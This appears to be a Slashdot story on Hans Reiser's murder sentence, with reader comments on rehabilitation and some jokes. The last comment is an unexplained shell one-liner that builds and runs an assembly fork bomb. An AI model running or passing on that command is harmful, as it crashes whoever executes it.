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Hans Reiser Gets Sentence of 15-To-Life
mallumax writes "Hans Reiser was today handed a prison sentence of 15-to-life for murdering his wife. Earlier this year, he pleaded guilty and led police to his wife's body. His jury trial concluded in April with Reiser's first-degree murder conviction. That carries a 25-to-life term, but the authorities, in a backroom deal, later offered him 15-to-life if he produced his wife's body and waived any rights to appeal his conviction."
Several other readers contributed coverage at SFGate.
It's easy to look at losses. It's much harder to look at positives.
The kids lost their mother to their father. They have not yet lost their father, he's eligible for parole in 15 years. If anything, Hans lost his children, but that was because of his actions.
Nina's parents have lost a child, and whatever higher power they choose be with them. Hans' parents have not lost a child, however now they have a child that they must reconcile themselves with and work out for themselves how his life ended up here.
A lot of people DID lose their best friends, both Nina and Hans. The Hans they thought they knew was not the Hans that really existed.
The Linux community has not yet lost a developer. In fact, the community has gained much from Hans' presence, and the fact that he is now being punished for a crime does not, in my mind, diminish his impact on Linux. He may return to code again, and we should look forward to that.
The District Attorney's office is charged with prosecuting crimes in their area of jurisdiction. They did not /lose/ any money prosecuting this case, that money was already marked to be spent on protecting the public. A convicted AND admitted killer is now being punished as the public demanded.
In the end, good things can come from darkness, like a phoenix rising from the ashes. Nina may be dead, and Russia may be deprived of a doctor, but as a community (and I mean the Linux community and the Oakland community), we can (and it is our duty to) put our faith in the justice system that a criminal has been found and is being punished, and we need to have faith that after he has served his punishment, he can return to /our/ society and contribute to and better it.
When you personally just look at the losses of a criminal justice system, you do an injustice for yourself. Some will never be rehabilitated, some have made a grave, grave mistake of judgment, and simply need to pay their time. I hope that Hans is in the latter category - if everyone in society felt the same way about everyone in the system, especially the people who work in the system, we'd be better off.
Hans committed a heinous crime and deserves to be punished. However, Hans has not demonstrated to us that he is completely unfit for civil society, and should NOT be looked at as such. He may, after a decade and a half, return to innovate in the computer sciences as a changed man.
Hey, I know! Maybe we could recycle all the journal jokes from the last 8 threads about Reiser!
In Soviet Russia, Reiser fsck YOU!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
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